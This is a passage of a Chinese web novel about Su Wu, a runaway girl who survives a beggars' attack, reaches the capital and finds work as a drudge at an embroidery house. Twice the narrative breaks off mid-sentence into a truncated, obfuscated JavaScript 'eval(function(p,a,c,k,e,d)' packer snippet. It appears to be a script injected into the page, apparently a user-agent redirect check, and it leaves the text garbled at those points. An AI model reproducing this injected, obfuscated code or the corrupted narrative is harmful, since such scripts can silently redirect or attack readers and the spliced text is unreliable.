老者接过破布包,打开看了看,里面的草药虽然长得不算粗壮,却都新鲜完好,采得很用心,晒得也很干净,止血草、金银花、柴胡、艾草,样样都有,甚至还有几株罕见的远志,显然是懂草药的人采的。老者愣了一下,随即看向苏芜,眼底的同情更甚,还有一丝赞许:“这草药采得不错,品类也全,看来你是懂些草药的。” 苏芜微微低下头,没有说话,只是轻轻点了点头。她不想多说自己的事,言多必失,她只想赶紧换了干粮和药,离开这里。 老者看她不愿多言,也没有多问,显然是个通透的人,知道每个人都有自己的难处。他转身走进药铺,片刻后,拿着几文钱和两个温热的窝头走了出来,递给苏芜,又拿出一个小小的瓷瓶,放在她手里:“这草药值五文钱,这两个窝头,是老夫送你的,瓷瓶里是金疮药,治伤的,你拿去吧。看你这模样,怕是受了不少苦,敷上药,吃点东西,好好歇一歇。” 苏芜接过钱、窝头和瓷瓶,双手微微颤抖,心底涌起一股暖流,眼眶瞬间泛红。这是她逃离苏家后,第一次感受到陌生人的善意,这份善意,像一束微光,照亮了她灰暗的逃亡之路。她捏着温热的窝头,感受着那一点微弱的暖意,鼻尖发酸,对着老者深深鞠了一躬,声音哽咽:“谢……谢谢老先生,大恩不言谢,我以后一定会报答您的。” “报答就不必了。”老者摆了摆手,慈祥地笑了笑,“老夫开这药铺,本就是为了救人,你一个小姑娘,独自在外不容易,好好活下去就好。” 苏芜又鞠了一躬,没有再多说,拿着东西,转身就走。她不敢在药铺门口久留,怕引来村民的盘问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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走了约莫两个时辰,日头渐渐偏西,冬日的白天很短,眼看就要天黑了。苏芜的脚又开始疼了,脚底的血泡又破了几个,磨得生疼,身上的力气也快耗尽了。她看到路边有一个破旧的土地庙,庙门敞着,里面空荡荡的,只有一个破旧的土地公雕像,落满了灰尘。她犹豫了片刻,走进了土地庙,决定在这里歇一夜,等天亮了再继续赶路。 土地庙虽然破旧,却能遮风挡雨,比在雪地里强多了。苏芜找了一块干净的石头,坐在上面,把身上的破布扯了扯,铺在地上,又把怀里的布包放在旁边,当作枕头。她靠在土地公雕像的底座上,疲惫感瞬间席卷而来,眼皮越来越沉,可她不敢睡熟,只能半睁着眼睛,警惕地听着外面的动静。 这一路,她经历了太多的险象,早已不敢轻易相信任何人,也不敢轻易放松警惕。 就在她昏昏欲睡的时候,庙门外传来了几声脚步声,还有男人的说话声,带着几分痞气。苏芜的意识瞬间清醒,立刻站起身,躲在土地公雕像的后面,屏住呼吸,听着外面的动静。 “老大,你看这土地庙里好像有人,是不是个小姑娘?”一个尖细的声音响起。 “进去看看!这大冬天的,一个小姑娘独自在这庙里,肯定有油水可捞!”另一个粗声粗气的声音响起,带着几分凶狠。 紧接着,三个穿着破烂棉袄的乞丐走了进来,手里拿着木棍,脸上带着不怀好意的笑,目光在庙里四处搜寻。他们看到了苏芜放在石头上的窝头,眼睛瞬间亮了起来,又看到了躲在雕像后面的苏芜,一步步走了过来。 “原来是个小乞丐,还藏着窝头,倒是挺会藏的。”那个粗声粗气的乞丐头子冷笑一声,伸手就要去抢苏芜怀里的布包,“把你身上的东西都交出来,还有那几文钱,不然今天就打断你的腿!” 苏芜下意识地往后退了一步,紧紧攥着怀里的布包,眼底闪过一丝恐惧,却更多的是倔强。这布包里的东西,是她活下去的希望,她绝不能交出去。 “我没有钱,也没有别的东西,只有一点草药和一个窝头,你们放我走吧。”苏芜的声音带着一丝颤抖,却依旧挺直了脊背,不肯低头。 “没有钱?骗谁呢!”尖细声音的乞丐骂道,“看你这模样,肯定是藏起来了,老大,别跟她废话,直接抢!” 三个乞丐说着,就朝着苏芜扑了过来,手里的木棍挥向她。苏芜知道,自己打不过他们,可她不能坐以待毙,为了活下去,她必须反抗。 她侧身躲开乞丐头子的木棍,顺手从地上捡起一块石头,朝着尖细声音的乞丐砸去,石头砸在乞丐的额头上,疼得他嗷嗷直叫。乞丐头子见状,更加生气,挥着木棍朝着苏芜的胳膊打去,苏芜躲不开,胳膊被木棍砸中,一阵钻心的疼,险些摔倒。 可她依旧没有放弃,捡起地上的荆棘枝,朝着他们挥舞着,荆棘的尖刺划在乞丐的身上,疼得他们连连后退。她的眼睛红了,像一头被逼到绝境的小兽,带着一股同归于尽的狠劲:“你们别过来,再过来,我就和你们同归于尽!” 三个乞丐看着苏芜这副模样,愣了一下。他们本以为这是个软弱可欺的小姑娘,没想到却这么狠,手里的荆棘枝挥舞得虎虎生风,身上的伤一处连着一处,却依旧不肯低头,那股倔强的劲儿,让他们心里生出了一丝怯意。 而且这土地庙离附近的村落不远,若是闹得太大,引来村里人,他们讨不到好,反而会被打一顿。 乞丐头子咬了咬牙,狠狠瞪了苏芜一眼:“臭丫头,算你狠!我们走!” 说完,带着另外两个乞丐,骂骂咧咧地离开了土地庙。 苏芜直到看不到他们的身影,才缓缓放下手里的荆棘枝,浑身脱力,瘫坐在地上,大口大口地喘着气。她的胳膊被木棍砸得青紫,疼得抬不起来,身上的伤口又裂开了几处,血珠渗出来,可她却笑了,笑得眼泪都流了出来。 她赢了,她靠着自己的力量,保护了自己,保护了活下去的希望。 这一次,她没有再隐忍,没有再任人欺凌,她知道,在这乱世里,想要活下去,就必须学会反抗,必须让自己变得强大。 苏芜靠在雕像的底座上,擦了擦脸上的眼泪和血,重新包扎了伤口,然后拿起那个剩下的窝头,掰了一点点,放进嘴里。窝头已经凉了,可她吃得依旧香甜,因为这是她用自己的力量换来的,是属于她的,活下去的滋味。 夜色渐浓,土地庙里一片漆黑,只有窗外的月光,洒进来一点微弱的光。苏芜靠在雕像的底座上,渐渐睡着了,这一夜,她睡得很沉,或许是因为太累了,或许是因为,她终于感受到了一丝活下去的希望。 第二天一早,天刚蒙蒙亮,苏芜就醒了。她揉了揉眼睛,伸了伸僵硬的身子,身上的伤依旧很疼,可她的精神却好了很多。她收拾好自己的东西,把布包紧紧揣在怀里,走出了土地庙。 外面的雪又下了起来,细细的雪沫子飘在天上,落在身上,冰凉的。可苏芜的心里,却带着一丝暖意,还有一丝坚定。 她抬头看了看东南方,太阳正从东方升起,洒下一点微弱的阳光,照亮了前方的路。 她深吸一口气,抬脚朝着京城的方向,一步步走去。 她的身影单薄而渺小,走在茫茫的雪地里,像一株倔强生长的野草,迎着寒风,迎着风雪,朝着那束名为希望的光,一步步走去。 前路依旧茫茫,依旧有无数的险象和艰难在等着她,可她再也不会害怕,再也不会退缩。 因为她知道,只要她一直走下去,一直不放弃,总有一天,她能走到京城,能靠着自己的力量,活成自己的光。 而那些曾经的苦难和欺凌,都会成为她成长的勋章,刻在她的骨血里,让她变得更加坚强,更加勇敢。 这一路,她走了整整七天。 七天里,她风餐露宿,渴了就喝雪水,饿了就吃一点点窝头,累了就靠在树下歇一歇,身上的伤好了又裂,裂了又好,脚底的血泡磨成了茧,可她从来没有停下脚步。 她走过了一个个村落,一条条土路,遇到了善良的人,也遇到了心怀不轨的人,她靠着自己的草药知识,换过干粮,换过船票,也靠着自己的倔强和狠劲,躲过了一次又一次的危险。 七天后,她站在一条宽阔的河边,河面上停着大大小小的船只,远处的天际,能看到一座巍峨的城池,城墙高耸,青砖黛瓦,在阳光的照耀下,显得格外雄伟。 那是京城。 她终于走到了。 苏芜站在河边,看着远处的京城,眼眶瞬间泛红,眼泪顺着脸颊滑落,这一次,不是因为疼痛,不是因为委屈,而是因为庆幸,因为激动,因为终于看到了活下去的希望。 她抬手抹了一把脸上的眼泪,攥紧了怀里的布包,眼底闪过一丝坚定的光芒。 京城,我来了。 3. 京华初至·泥途求生 朔风卷着细碎的雪沫子,刮过宽阔的河面,河面上的冰碴子被吹得叮当作响,苏芜站在河岸边,望着远处那座巍峨矗立的城池,指尖攥得发白,连身上的疼痛都仿佛淡了几分。那便是京城,是她撑着一口气,走了七天七夜,跨过雪山坳、走过荒土路、忍饥挨饿也要抵达的地方。城墙由青灰色的巨石砌成,高有三丈,墙头上插着迎风招展的旌旗,朱红色的城门大开着,车水马龙进进出出,远远便能听到里面的叫卖声、车马声、谈笑声,交织成一片热闹的声响,与她一路行来的荒寂冷僻,宛若两个天地。 她的脚下是冻得坚硬的河滩,鞋早就磨穿了底,露出的脚趾冻得青紫发黑,沾着泥雪和血痂,每动一下都像是踩在刀尖上。身上的薄衣被划得千疮百孔,冷风顺着破口往里钻,刮在冻得僵硬的皮肤上,带来一阵阵刺骨的疼。额头的伤口虽敷了药,却因一路颠簸又裂开了些许,淡淡的血痕透过布条渗出来,黏在额前枯黄的碎发上。怀里的破布包被捂得温热,里面是剩下的几株草药和那枚装着金疮药的瓷瓶,还有那仅存的几文钱,这是她如今所有的身家,也是她在这陌生京城唯一的依仗。 苏芜深吸了一口冰冷的空气,那股寒气从鼻腔钻进肺里,让她忍不住打了个寒颤,却也让混沌的意识愈发清醒。她抬手抹了一把脸上的雪沫子,又理了理身上的破衣,尽量让自己看起来不那么狼狈,然后抬脚朝着那座城门走去。她的脚步很慢,一步一挪,脚底的疼痛阵阵袭来,每走几步,便要扶着旁边的枯树歇上片刻,可她的眼神却始终坚定,望着那座城门,不曾有半分动摇。 从河滩到城门,不过半里路,苏芜却走了近一个时辰。等她终于走到城门口时,日头已经升到了半空,冬日的阳光微弱,却也洒下了一点暖意,落在城门旁的石狮子上,镀上了一层淡淡的金光。城门口来往的行人络绎不绝,有穿着锦缎华服、骑着高头大马的权贵子弟,有挑着担子、吆喝叫卖的小商贩,有穿着粗布衣裳、步履匆匆的寻常百姓,还有推着独轮车、汗流浃背的脚夫。每个人的脸上都带着不同的神色,或意气风发,或精打细算,或疲惫不堪,却都有着属于自己的活法。 苏芜缩着身子,走在人群的边缘,尽量低着头,避开旁人的目光。她的模样太过狼狈,枯黄的头发乱糟糟地贴在脸上,身上的破衣沾满了泥雪和血污,脚上的破鞋露着脚趾,与周围的繁华格格不入,路过的行人都忍不住侧目,有人投来好奇的目光,有人露出嫌弃的神色,还有人低声议论着,说她是从哪里来的乞丐。 苏芜对此早已习以为常,在苏家十几年的欺凌,让她早已学会了无视旁人的目光,也学会了把自己的情绪藏在心底。她只是紧紧攥着怀里的布包,加快了脚步,想要快点走进城门,可刚走到城门口,就被守门的兵卒拦了下来。 那兵卒身材高大,穿着灰色的兵服,腰间挎着长刀,脸上带着倨傲的神色,见苏芜走过来,抬手便将她推了回去。苏芜本就体力不支,被这突如其来的一推,踉跄着后退了几步,险些摔倒,好不容易扶着旁边的石墩站稳,胸口一阵翻涌,差点吐出一口血来。 “哪来的叫花子,也敢往京城里闯?”兵卒皱着眉,厉声呵斥道,语气里满是鄙夷,“看你这模样,怕不是从哪个穷乡僻壤跑出来的,别是个小偷或者流民,赶紧滚,别在这碍眼!” 苏芜扶着石墩,缓缓直起身子,抬头看向那兵卒,声音又轻又哑,带着难以掩饰的疲惫,却依旧挺直了脊背:“官爷,我不是叫花子,也不是流民,我只是来京城讨生活的,求您行行好,让我进去吧。” “讨生活?”兵卒嗤笑一声,上下打量着苏芜,眼神里的鄙夷更甚,“就你这副模样,手无缚鸡之力,还想在京城讨生活?我看你是想进来混吃混喝吧!告诉你,京城不是你这种人能来的地方,赶紧滚,再敢靠近城门,别怪我对你不客气!” 说着,那兵卒又抬起脚,作势要踹苏芜。苏芜下意识地往后缩了缩,避开了他的脚,却没有后退,只是依旧望着他,眼底带着一丝倔强:“官爷,我真的是来讨生活的,我能干活,不怕苦不怕累,求您让我进去吧。” 她知道,若是进不了这京城,她一路的辛苦便都白费了,在这城外,荒无人烟,天寒地冻,她根本活不下去。京城是她唯一的希望,她无论如何,都要进去。 就在这时,旁边又走来一个兵卒,年纪稍长,脸上的神色稍缓,他看了看苏芜,又看了看那年轻兵卒,开口道:“行了,别跟一个小姑娘置气了,看她这模样,也确实可怜,想来是走了不少路才到这的。如今京城边上也不太平,放她进去吧,好歹是条性命,总不能让她冻死在城外。” 年轻兵卒闻言,撇了撇嘴,虽有不满,却也不敢反驳,只是狠狠瞪了苏芜一眼:“算你运气好,赶紧进去,别在这碍眼,要是敢在京城里惹事,看我不把你抓起来打板子!” 苏芜闻言,心中松了一口气,对着那年纪稍长的兵卒微微躬身,声音带着一丝感激:“谢谢官爷,谢谢官爷。” 说完,她便连忙抬脚,快步走进了城门。走过那道朱红色的城门,一股浓郁的人间烟火气扑面而来,与城外的冷寂截然不同。街道宽阔平整,由青石板铺成,街道两旁是鳞次栉比的店铺,酒肆、布庄、药铺、绣坊、当铺,一家挨着一家,店铺的招牌各式各样,有的镶金嵌玉,有的木牌墨字,都透着一股子繁华的气息。街道上的行人摩肩接踵,车马往来不绝,马蹄声、车轮声、叫卖声、谈笑声,交织在一起,热闹非凡。 苏芜站在街道旁,看着眼前的一切,一时间竟有些茫然。她从小生长在苏家村,那是个偏僻的小山村,全村不过几十户人家,最热闹的时候也不过是逢年过节的集市,哪里见过这样的繁华景象。朱门大院的高宅,雕梁画栋的楼阁,穿着绫罗绸缎的男女,珠光宝气的饰品,这一切都让她觉得陌生而遥远,仿佛自己与这个世界格格不入。 她就那样站在原地,站了许久,直到一阵寒风刮过,让她打了个寒颤,才回过神来。她低头看了看自己的模样,又看了看周围的繁华,心底涌起一丝酸涩,却也更加坚定了活下去的念头。京城再繁华,也有底层人的活法,她既然能从苏家逃出来,能走七天七夜到这里,就一定能在这京城里活下去。 她攥紧了怀里的布包,抬脚朝着街道深处走去。她不知道要去哪里,也不知道该做什么,只是漫无目的地走着,想要找一个能落脚的地方,找一份能糊口的活计。她走在街道的边缘,低着头,尽量避开来往的车马和行人,身上的破衣与周围的繁华形成了鲜明的对比,引来不少异样的目光,可她却毫不在意,只是一门心思地看着街道两旁的店铺,希望能找到一个招人的地方。 走了约莫一个时辰,苏芜的脚越来越疼,肚子也饿得咕咕叫,身上的力气也快耗尽了。她看到街道旁有一个卖窝头的小摊,蒸笼里的窝头冒着热气,散发出淡淡的玉米面香味,勾得她肚子里的馋虫直冒,喉咙里也干得发疼。她下意识地摸了摸怀里的几文钱,那是她卖草药换来的,也是她如今唯一的钱财,她犹豫了片刻,还是走到了小摊前。 摊主是一个中年妇人,穿着粗布衣裳,脸上带着淳朴的笑容,见苏芜走过来,便笑着问道:“小姑娘,要不要买窝头?一文钱两个,刚蒸出来的,热乎着呢。” 苏芜抬起头,看着蒸笼里的窝头,咽了咽口水,声音轻得像蚊子叫:“阿婆,我要一个窝头,一文钱可以吗?” 她身上只有五文钱,不能乱花,一个窝头,足以让她暂时填饱肚子,支撑着她继续找活计。 中年妇人看了看苏芜狼狈的模样,眼底闪过一丝同情,点了点头,从蒸笼里拿出一个温热的窝头,递给苏芜:“给你,小姑娘,看你这模样,怕是走了不少路吧,一个窝头够不够?不够阿婆再给你一个。” 苏芜接过窝头,那温热的触感从指尖传到心底,让她忍不住眼眶泛红。她连忙接过窝头,对着中年妇人躬身道谢:“谢谢阿婆,够了,够了。” 说完,她便拿出一文钱,递给中年妇人,然后转身走到旁边的墙角,背靠着冰冷的墙壁,小心翼翼地咬了一口窝头。温热的窝头带着淡淡的玉米面香味,吃进嘴里,软糯香甜,一股暖意从胃里窜遍全身,驱散了身上的些许寒意,也让她空荡荡的肚子,终于有了一丝饱腹感。 这是她进入京城后,吃到的第一口热乎饭,也是她一路逃亡以来,为数不多的能安心吃东西的时候。她吃得很慢,很认真,每一口都嚼得极细,仿佛要把这窝头的滋味,深深记在心里。一个窝头不大,很快便吃完了,可那股暖意,却久久地留在了她的心底。 吃完窝头,苏芜靠在墙壁上,歇了片刻,体力稍稍恢复了一点,便又起身,继续沿着街道往前走,寻找招人的店铺。她先后走到一家酒楼、一家布庄、一家粮铺,都怯生生地走进去,询问掌柜的要不要招人,可都被拒绝了。 酒楼的掌柜嫌她是个女子,又瘦小狼狈,干不了端茶倒水、擦桌扫地的活,还怕她弄脏了酒楼的桌椅,被客人嫌弃,直接让伙计把她赶了出来;布庄的掌柜嫌她没有户籍,怕惹上麻烦,说京城查户籍查得严,不敢用没有户籍的人,也把她拒之门外;粮铺的掌柜倒是看她可怜,可粮铺里的活都是扛粮食、搬麻袋的重活,她一个小姑娘,根本干不了,也只能婉言拒绝。 一次次的询问,一次次的拒绝,一次次的被驱赶,苏芜的心底渐渐涌起一丝失落,却也没有放弃。她知道,在这京城里,像她这样无依无靠、无户籍、无钱财的孤女,想要找一份活计,本就不易。她只能继续往前走,继续寻找机会,哪怕被拒绝一百次,一千次,她也要找到一份能糊口的活计。 她走了整整一个下午,从城南走到城北,又从城北走到城东,问了十几家店铺,都被拒绝了。有的掌柜直接闭门不见,有的伙计出言嘲讽,还有的甚至抢了她仅剩的一点窝头,把她推搡出门。她的身上又添了几处伤痕,胳膊被推搡时撞到了门框,青了一大片,额头的伤口也因为多次的颠簸和推搡,又开始渗血,可她却依旧咬着牙,没有哭,也没有退缩。 夕阳西下,冬日的白天很短,很快,天就渐渐黑了下来。街道两旁的店铺纷纷挂起了灯笼,橘黄色的灯光照亮了街道,让这繁华的京城,又多了几分暖意。可这份暖意,却与苏芜无关。她依旧走在街道上,脚步疲惫,眼神却依旧坚定,只是心底的茫然,却越来越浓。 她不知道自己该去哪里,也不知道今晚该在哪里落脚。京城的客栈,她住不起,哪怕是最便宜的通铺,也要几文钱一晚,她身上的几文钱,还要留着买吃的,根本不敢花。街道旁的破庙、城墙根,或许是她唯一的去处。 就在苏芜感到茫然无措的时候,一阵剧烈的咳嗽声传入了她的耳中。她循声望去,看到不远处的城墙根下,蜷缩着一个老乞丐,老乞丐穿着一件破旧的棉袄,头发花白,脸上布满了皱纹,正捂着嘴剧烈地咳嗽着,咳嗽得浑身发抖,看起来十分可怜。 苏芜犹豫了片刻,还是抬脚走了过去。她走到老乞丐面前,蹲下身,看着老乞丐,轻声问道:“老丈,您没事吧?” 老乞丐抬起头,看了看苏芜,眼神里带着一丝警惕,也带着一丝疲惫,摇了摇头,声音沙哑:“没事,就是老毛病了,咳咳……这天气太冷,受了寒,咳咳……” 苏芜看着老乞丐的模样,想起了自己一路的遭遇,也想起了那个给她窝头的中年妇人,还有那个放她进城的兵卒,心底涌起一丝恻隐之心。她从怀里的破布包里,掏出几株艾草和柴胡,这是她用来治风寒的草药,递到老乞丐面前:“老丈,我这里有一点草药,艾草和柴胡,能治风寒,您拿回去煮水喝,喝了能好受点。” 老乞丐看着苏芜递过来的草药,又看了看苏芜狼狈的模样,眼底的警惕渐渐散去,取而代之的是一丝诧异和感激:“小姑娘,你自己都这般模样,还把草药给我?这草药可是你的救命钱吧?” 苏芜摇了摇头,轻声道:“我还有一点,这草药对我来说,不算什么,您拿着吧,喝了能治咳嗽。” 老乞丐接过草药,攥在手里,眼眶微微泛红,对着苏芜拱了拱手:“谢谢你,小姑娘,你真是个好心人。我这老骨头,在这城墙根下待了好几年了,见多了世态炎凉,像你这样好心的小姑娘,不多见了。” 苏芜笑了笑,没有说话,只是从怀里掏出仅剩的一文钱,递给老乞丐:“老丈,这一文钱,您拿去买个窝头吃吧。” 老乞丐连忙摆了摆手,把钱推了回去:“不用不用,小姑娘,你这钱自己留着吧,你比我更需要。我在这城墙根下待久了,总能捡到点吃的,饿不死。倒是你,一个小姑娘,独自在京城里,不容易。” 苏芜见老乞丐不肯收,便也不再勉强,把钱收了回来,只是问道:“老丈,我是从外地来的,想来京城讨生活,可问了好多店铺,都不肯收我,您知道哪里还招人吗?不管什么活,我都能干,不怕苦不怕累,只要能给一口饭吃就行。” 老乞丐听了苏芜的话,沉吟了片刻,咳嗽了几声,才开口道:“小姑娘,你一个外地来的孤女,又没有户籍,想要在京城里找活计,确实不易。那些寻常的店铺,要么嫌你是女子,要么怕惹上户籍的麻烦,自然不肯收你。不过,我倒是知道一个地方,或许会招人。” 苏芜闻言,眼睛瞬间亮了起来,连忙问道:“老丈,是什么地方?求您告诉我。” “城南的锦绣阁,你听说过吗?”老乞丐缓缓开口道,“那是京城里最大的绣坊,生意做得很大,不仅做寻常百姓的生意,还做宫里的活计,店里的绣娘就有几十个,杂役也需要不少。前几天我路过那里,看到门口贴着招工的告示,招杂役,管吃管住,就是活累点,钱少点。不过,锦绣阁的管事听说很刻薄,尤其是那个张嬷嬷,欺软怕硬,对底下的杂役很严厉,你要是想去,可得做好吃苦的准备。” 锦绣阁? 苏芜在心里默默念着这个名字,眼底闪过一丝希望。绣坊的杂役,她能做,挑水、劈柴、浆洗衣物、清扫院子,这些活,她在苏家做了十几年,早就轻车熟路了。管吃管住,这对她来说,已经是最好的条件了,哪怕活累点,钱少点,她也心甘情愿。 她对着老乞丐深深躬身,声音带着浓浓的感激:“谢谢老丈,谢谢您告诉我这些,大恩不言谢,我以后一定会报答您的。” “报答就不必了。”老乞丐摆了摆手,笑着道,“不过是一句话的事,小姑娘,你年纪轻轻,有这份心就好。只是那锦绣阁的张嬷嬷,确实不好相处,你去了之后,凡事多忍忍,少说话,多干活,别惹她不高兴,不然,怕是待不长久。” “我知道了,老丈,我会记住您的话的。”苏芜点了点头,把老乞丐的话记在了心里。 与老乞丐道别后,苏芜便抬脚,朝着城南的方向走去。此时,天已经完全黑了,街道两旁的灯笼亮着,照亮了前行的路,寒风依旧刮着,却吹不散苏芜心底的希望。她的脚步依旧疲惫,却比之前快了许多,因为她终于有了目标,有了方向。 从城东到城南,路途不近,苏芜走了近两个时辰。等她终于走到锦绣阁门口时,已经是深夜了。锦绣阁果然名不虚传,店铺的门面十分阔气,朱红色的大门,镶着铜钉,门旁立着两个石狮子,店铺的招牌是一块黑底金字的牌匾,上面写着“锦绣阁”三个大字,笔锋苍劲有力,一看便是出自名家之手。大门紧闭着,门口挂着两个大红灯笼,橘黄色的灯光照亮了门口的招工告示,告示上的字迹清晰可见,果然如老乞丐所说,锦绣阁正在招杂役,管吃管住,月钱二百文。 苏芜站在锦绣阁的门口,看着那扇紧闭的大门,又看了看招工告示,心底涌起一丝激动,也有一丝紧张。她知道,这是她在京城里活下去的唯一机会,她必须抓住这个机会,无论如何,都要留在锦绣阁。 她在锦绣阁的门口站了许久,直到天快蒙蒙亮时,才听到大门内传来了动静。她连忙整理了一下身上的破衣,理了理头发,站在门口,等着大门打开。 没过多久,锦绣阁的大门被打开了,一个穿着青色粗布衣裳的伙计走了出来,手里拿着扫帚,准备清扫门口的街道。那伙计看到站在门口的苏芜,愣了一下,随即皱着眉,厉声呵斥道:“你是谁家的丫头?怎么站在我们锦绣阁的门口?赶紧走,别在这碍眼!” 苏芜连忙上前一步,对着那伙计躬身,声音带着一丝紧张,也带着一丝恳求:“小哥,我是来应聘杂役的,我看到门口的招工告示了,求您行行好,让我进去见见张嬷嬷,我什么活都能干,不怕苦不怕累,求您给我一个机会。” 那伙计上下打量着苏芜,见她狼狈的模样,撇了撇嘴,语气里满是鄙夷:“就你这副模样,还想来我们锦绣阁当杂役?我们锦绣阁可是京城里最大的绣坊,岂是你这种叫花子能来的地方?赶紧走,别在这耽误我干活,不然我喊人了!” 说着,那伙计便拿起扫帚,作势要赶苏芜走。苏芜连忙往后退了几步,却依旧不肯离开,只是对着那伙计躬身道:“小哥,求您了,我真的能干活,我在乡下做了十几年的活,挑水、劈柴、浆洗衣物,什么都会做,求您让我进去见见张嬷嬷吧,哪怕让我先干几天活,不要钱也行。” 她的声音带着一丝哽咽,却依旧坚定,眼底满是恳求。 就在这时,一个略显尖细的女声从门内传了出来:“外面吵什么?大清早的,扰了绣娘们干活,仔细你们的皮!” 话音未落,一个穿着深蓝色布裙、梳着发髻、脸上带着刻薄神色的中年妇人走了出来,正是锦绣阁的管事张嬷嬷。张嬷嬷约莫四十多岁,身材微胖,脸上的肉挤在一起,眼神里带着倨傲和刻薄,一看就是个不好相处的人。 那伙计见张嬷嬷出来了,连忙放下扫帚,躬身道:“张嬷嬷,是个叫花子,说想来应聘杂役,我正赶她走呢。” 张嬷嬷抬眼看向苏芜,上下打量着她,眼神里的刻薄和鄙夷更甚,像刀子一样刮在苏芜的身上:“就你这副模样,也想来我们锦绣阁当杂役?我看你是想进来混吃混喝吧?我们锦绣阁收杂役,也是要身强力壮的,你看看你,瘦得跟个猴似的,风一吹就倒,能干嘛活?赶紧滚,别在这碍眼,要是再敢纠缠,我就让人把你打出去!” 苏芜看着张嬷嬷,心里咯噔一下,知道老乞丐说的没错,这张嬷嬷果然十分刻薄。可她不能放弃,这是她唯一的机会,她咬了咬牙,对着张嬷嬷深深躬身,声音带着一丝恳求,却也带着一丝倔强:“张嬷嬷,我虽然瘦,但是我有力气,我在乡下做了十几年的活,什么苦活累活都干过,挑水、劈柴、浆洗衣物、清扫院子,我样样都会,而且我做事麻利,从不偷懒。求您给我一个机会,哪怕让我先干三天活,不要钱,管我一口饭吃就行,如果您觉得我干得不好,再把我赶走,我绝无半句怨言。” 她说着,便直挺挺地站在原地,望着张嬷嬷,眼底满是坚定,没有半分退缩。 张嬷嬷看着苏芜这副模样,愣了一下,她本以为这是个软弱可欺的小姑娘,几句话就能把她赶走,没想到她竟如此倔强。她又上下打量了苏芜一番,见她虽然狼狈,却眼神坚定,身上透着一股韧劲,不像是个偷懒耍滑的人。而且,锦绣阁最近确实缺杂役,绣娘们的活多,杂役们忙不过来,招一个免费的劳力,干几天活,也不吃亏。若是她干得不好,再把她赶走便是。 张嬷嬷沉吟了片刻,嘴角勾起一抹刻薄的笑:“好,既然你这么说,那我就给你一个机会,让你留下来干三天活,不要钱,管你一口饭吃。若是这三天里,你干得不好,或者敢偷懒耍滑,我就直接把你赶出去,再也不许你靠近锦绣阁半步!而且,我们锦绣阁的规矩多,杂役要天不亮就起来干活,干到天黑才能歇着,什么活脏什么活累,就干什么活,你能受得了吗?” “我能受得了!”苏芜连忙点头,声音带着一丝激动,“谢谢张嬷嬷,谢谢张嬷嬷,我一定好好干活,绝不偷懒,绝不惹您不高兴!” “哼,希望你说到做到。”张嬷嬷冷哼一声,对着旁边的伙计道,“带她进去,给她安排点活,让她先去劈柴挑水,把后院的水缸都挑满,再劈够十天的柴,要是天黑之前完不成,就别想吃饭!” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她攥紧了拳头,深吸了一口气,走到水井旁,拿起水桶,开始挑水。水井很深,她费了九牛二虎之力,才打上来一桶水,水桶很重,她的身子瘦小,挑着水桶,脚步踉跄,走一步晃三下,水洒了不少,肩膀被扁担压得生疼,很快就红了一大片。可她却没有停下,挑了一趟又一趟,额头上的汗水顺着脸颊滑落,混着伤口的血痕,沾在脸上,狼狈不堪。 挑水挑到一半,她的肩膀就疼得抬不起来了,脚底的疼痛也阵阵袭来,身上的力气也快耗尽了。她靠在水缸旁,歇了片刻,喝了一口井里的冷水,又继续挑水。她知道,她不能停下,一旦停下,就可能完不成活计,就可能被张嬷嬷赶走,就可能失去这唯一的活下去的机会。 挑满五个大水缸,苏芜整整挑了三个时辰,等她挑完最后一桶水时,太阳已经升到了半空,她的肩膀被扁担压得青紫发黑,疼得抬不起来,脚底的血泡又破了几个,混着泥雪,疼得钻心,身上的汗水把破衣浸透了,又被冷风一吹,冻得她瑟瑟发抖。 可她没有丝毫歇息,又拿起斧头,走到柴房里,开始劈柴。柴房里的粗木柴,都是碗口粗的硬木,十分坚硬,她的力气小,一斧头下去,只能砍出一道浅浅的痕迹,震得她的胳膊发麻,虎口也被震裂了,渗出血丝。可她依旧没有放弃,一下又一下,用力地劈着柴,胳膊酸了,就歇上片刻,虎口疼了,就用布条缠上,继续劈。 绣娘们绣活累了,会到后院来歇息,看到苏芜劈柴的模样,有的露出同情的神色,有的露出鄙夷的神色,还有的低声议论着,说她是个乡下来的叫花子,也配来锦绣阁当杂役。苏芜对此都毫不在意,只是低头劈柴,把所有的精力都放在手上的活计里。 她知道,在这锦绣阁里,她无依无靠,没有背景,没有钱财,只能靠自己的双手干活,靠自己的隐忍活下去。旁人的目光,旁人的议论,都不重要,重要的是,她能留下来,能活下去。 从清晨到傍晚,从日头初升到夕阳西下,苏芜几乎没有停歇过,一直在挑水、劈柴。中间,后厨的杂役给她送来了一个窝头,这是她今天的午饭,她接过窝头,匆匆吃了几口,便又继续干活。 夕阳西下,天色渐渐黑了下来,锦绣阁里的灯笼纷纷挂了起来,橘黄色的灯光照亮了院子。苏芜终于劈完了最后一根木柴,柴房里的柴,堆得整整齐齐,足够锦绣阁用十天了。五个大水缸,也被挑得满满当当,一滴水都没有洒出来。 她放下斧头,瘫坐在柴房的门口,浑身脱力,连抬手的力气都没有了。她的肩膀疼得厉害,胳膊酸得抬不起来,虎口裂了一道大口子,渗着血,脚底的血泡破了又磨,磨了又破,早已麻木,身上的破衣被汗水和泥雪浸透,冻得她瑟瑟发抖。可她的脸上,却露出了一丝浅浅的笑容。 她做到了,她完成了张嬷嬷安排的活计,她能留下来了。 就在这时,张嬷嬷走了过来,看着院子里满满的水缸和柴房里堆得整整齐齐的木柴,眼底闪过一丝诧异,随即又恢复了刻薄的神色,上下打量着苏芜,冷哼一声:“算你还有点眼力见,知道好好干活,今天的活,算你完成了。以后,你就留在锦绣阁当杂役吧,管吃管住,月钱二百文,记住了,在锦绣阁里,要守规矩,少说话,多干活,别惹事,不然,我随时能把你赶出去!” 苏芜闻言,心中松了一口气,连忙撑着身子,站起身,对着张嬷嬷躬身道:“谢谢张嬷嬷,谢谢张嬷嬷,我一定记住您的话,好好干活,绝不惹事。” 